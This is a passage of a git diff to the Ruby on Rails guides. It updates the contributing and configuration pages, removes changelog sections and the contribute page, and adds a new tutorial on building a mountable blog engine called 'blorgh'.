built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. * +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the _production_ environment and not for the +development+ environment. * +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. +To define an event for these hooks, use the block syntax within a +Rails::Aplication+, +Rails::Railtie+ or +Rails::Engine+ subclass: + +<ruby> +module YourApp + class Application < Rails::Application + config.before_initialize do + # initialization code goes here + end + end +end +</ruby> + +Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: + +<ruby> +Rails.application.config.before_initialize do + # initialization code goes here +end +</ruby> WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. @@ -557,7 +595,7 @@ The error occurred while evaluating nil.each *+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+. -*+set_autoload_path+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. +*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+. *+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application. @@ -592,11 +630,3 @@ The error occurred while evaluating nil.each *+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+. *+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false. - -h3. Changelog - -* December 3, 2010: Added initialization events for Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* November 26, 2010: Removed all config settings not available in Rails 3 ("Ryan Bigg":http://ryanbigg.com) -* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" -* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy -* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile deleted file mode 100644 index f9bb80861c..0000000000 --- a/railties/guides/source/contribute.textile +++ /dev/null @@ -1,70 +0,0 @@ -h2. Contribute to the Rails Guides - -Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the guides to come up to speed on Rails quickly. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute. - -endprologue. - -h3. How to Contribute? - -* We have an open commit policy: anyone is welcome to contribute and to review contributions. -* "docrails is hosted on GitHub":https://github.com/lifo/docrails and has public write access. -* Guides are written in Textile, and reside at +railties/guides/source+ in the docrails project. -* Follow the "Rails Guides Conventions":https://wiki.github.com/lifo/docrails/rails-guides-conventions. -* Assets are stored in the +railties/guides/assets+ directory. -* Sample format : "Active Record Associations":https://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile. -* Sample output : "Active Record Associations":association_basics.html. -* You can build the Guides during testing by running +bundle exec rake generate_guides+ in the +railties+ directory. -* You're encouraged to validate XHTML for the generated guides before committing your changes by running +bundle exec rake validate_guides+ in the +railties+ directory. -* Edge guides "can be consulted online":http://edgeguides.rubyonrails.org/. That website is generated periodically from docrails. - -h3. What to Contribute? - -* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started. -* The easiest way to start is by improving an existing guide: -** Improve the structure to make it more coherent. -** Add missing information. -** Correct any factual errors. -** Fix typos or improve style. -** Bring it up to date with the latest Edge Rails. -* We're also open to suggestions for entire new guides: -** Contact lifo or fxn to get your idea approved. See the Contact section below. -** If you're the main author on a significant guide, you're eligible for the prizes. - -h3. How is the process? - -* The preferred way to contribute is to commit to docrails directly. -* A new guide is only edited by its author until finished though. -* If you are writing a new guide freely commit to docrails partial work and ping lifo or fxn when done with a first draft. -* Guides reviewers will then provide feedback, some of it possibly in form of direct commits to agilize the process. -* Eventually the guide will be approved and added to the index. - -h3. Prizes - -For each completed guide, the lead contributor will receive all of the following prizes: - -* $200 from Caboose Rails Documentation Project. -* 1 year of GitHub Micro account worth $84. -* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x 10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product. - -h3. Rules - -* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License. -* If you're not sure whether a guide is actively being worked on, stop by IRC and ask. -* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes). -* Our review team will have the final say on whether the guide is complete and of good enough quality. - -All authors should read and follow the "Rails Guides Conventions":ruby_on_rails_guides_guidelines.html and the "Rails API Documentation Conventions":api_documentation_guidelines.html. - -h3. Translations - -The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides page. - -h3. Mailing List - -"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions. - -h3. Contact - -* IRC : #docrails channel in irc.freenode.net -* Twitter: "@docrails":http://twitter.com/docrails, "@lifo":http://twitter.com/lifo, "@fxn":http://twitter.com/fxn -* Email : pratiknaik aT gmail, fxn aT hashref dot com diff --git a/railties/guides/source/contributing_to_ruby_on_rails.textile b/railties/guides/source/contributing_to_ruby_on_rails.textile index e6ec061c9a..37ead2bff2 100644 --- a/railties/guides/source/contributing_to_ruby_on_rails.textile +++ b/railties/guides/source/contributing_to_ruby_on_rails.textile @@ -87,24 +87,23 @@ $ bundle install --without db This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back at these soon. With dependencies installed, you can run the test suite with: <shell> -$ rake test +$ bundle exec rake test </shell> You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command: <shell> $ cd actionpack -$ rake test +$ bundle exec rake test </shell> If you want to run tests from the specific directory use the +TEST_DIR+ environment variable. For example, this will run tests inside +railties/test/generators+ directory only: <shell> $ cd railties -$ TEST_DIR=generators rake test +$ TEST_DIR=generators bundle exec rake test </shell> - h4. Warnings The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings. @@ -112,7 +111,7 @@ The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no As of this writing they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag: <shell> -$ RUBYOPT=-W0 rake test +$ RUBYOPT=-W0 bundle exec rake test </shell> h4. Testing Active Record @@ -121,13 +120,17 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: <shell> $ cd activerecord -$ rake test_sqlite3 +$ bundle exec rake test_sqlite3 </shell> h5. MySQL and PostgreSQL @@ -192,27 +195,27 @@ test_postgresql respectively. As we mentioned before <shell> -$ rake test +$ bundle exec rake test </shell> will now run the four of them in turn. -You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the continuous integration server runs. +You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ to see the test suite that the continuous integration server runs. h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. h3. Helping to Resolve Existing Issues -As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues?sort=created&direction=desc&state=open&page=1 list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: +As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually: h4. Verifying Bug Reports @@ -258,16 +261,18 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. + +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. + +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. - h3. Contributing to the Rails Code h4. Clone the Rails Repository @@ -285,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -382,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index f5bee52b5a..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -712,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..694b36bea1 --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,618 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +</shell> + +This command will output this information: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + >> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: + +<ruby> +root :to => "posts#index" +</ruby> + +Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. + +Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate model Comment post_id:integer text:text +</shell> + +This will output the following: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/unit/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +</shell> + +This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. + +To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link: + +<erb> +<h3>Comments</h3> +<%= render @post.comments %> +</erb> + +This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: + +<ruby> +has_many :comments +</ruby> + +Turning the model into this: + +<ruby> +module Blorgh + class Post < ActiveRecord::Base + has_many :comments + end +end +</ruby> + +Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects. + +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: + +<erb> +<%= render "blorgh/comments/form" %> +</erb> + +Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: + +<erb> +<h3>New comment</h3> +<%= form_for [@post, @post.comments.build] do |f| %> + <p> + <%= f.label :text %><br /> + <%= f.text_area :text %> + </p> + <%= f.submit %> +<% end %> +</erb> + +This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: + +<ruby> +resources :posts do + resources :comments +end +</ruby> + +The route now will exist, but the controller that this route goes to does not. To create it, run this command: + +<shell> +$ rails g controller comments +</shell> + +This will generate the following things: + +<shell> +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/functional/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/comments_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +</shell> + +The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: + +<ruby> +def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + flash[:notice] = "Comment has been created!" + redirect_to post_path +end +</ruby> + +This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: + +<text> + Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: + * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" + * "/Users/ryan/Sites/side_projects/blorgh/app/views" +</text> + +The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. + +This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: + +<erb> +<%= comment_counter + 1 %>. <%= comment.text %> +</erb> + +The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use it within an application. + +h3. Hooking into an application + +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. + +h4. Mounting the engine + +First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: + +<shell> +$ rails new unicorn +</shell> + +Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. + +<ruby> +gem 'devise' +</ruby> + +Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification: + +<ruby> +gem 'blorgh', :path => "/path/to/blorgh" +</ruby> + +If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this: + +<ruby> +gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. + +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: + +<ruby> +mount Blorgh::Engine, :at => "blog" +</ruby> + +This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+. + +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. + +h4. Engine setup + +The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: + +<shell> +Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +</shell> + +The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. + +To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. + +h4. Using a class provided by the application + +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. + +Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called. + +To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command: + +<shell> +rails g model user name:string +</shell> + +The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. + +Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. + +First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: + +<erb> +<div class="field"> + <%= f.label :author_name %><br /> + <%= f.text_field :author_name %> +</div> +</erb> + +The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. + +<ruby> +attr_accessor :author_name +belongs_to :author, :class_name => "User" + +before_save :set_author + +private + def set_author + self.author = User.find_or_create_by_name(author_name) + end +</ruby> + +By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. + +To generate this new column, run this command within the engine: + +<shell> +$ rails g migration add_author_id_to_blorgh_posts author_id:integer +</shell> + +NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. + +This migration will need to be run on the application. To do that, it 